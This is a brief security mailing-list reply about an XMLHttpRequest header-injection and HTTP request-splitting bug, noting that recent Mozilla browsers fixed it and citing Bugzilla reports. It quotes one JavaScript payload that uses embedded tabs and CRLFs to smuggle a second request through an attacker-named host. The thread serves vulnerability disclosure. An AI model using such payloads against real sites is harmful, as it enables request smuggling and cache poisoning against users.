Hello Amit, "Amit Klein (AKsecurity)" <aksecurity@xxxxxxxxxx> writes: > x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP > /1.0\r\nHost:\twww.target.site\r\nReferer:\thttp://www.target > .site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost/\tHTTP > /1.0\r\nFoobar:","http://www.attacker.site/",false); This kind of bugs are already fixed in recent Mozilla browsers, as shown in your reference [4]. > [4] "setRequestHeader can be exploited using newline characters", > Bugzilla bug 297078 > https://bugzilla.mozilla.org/show_bug.cgi?id=297078 and > "XMLHttpRequest allows dangerous request headers to be set", > Bugzilla bug 302263 > https://bugzilla.mozilla.org/show_bug.cgi?id=302263 see comment #15 of bug 297078. https://bugzilla.mozilla.org/show_bug.cgi?id=297078#c15 -- Yutaka OIWA Research Center for Information Security National Institute of Advanced Industrial Science and Technology (AIST) Mail addresses: <y.oiwa@xxxxxxxxxx>, <yutaka@xxxxxxx> OpenPGP: id[995DD3E1] fp[3C21 17D0 D953 77D3 02D7 4FEC 4754 40C1 995D D3E1]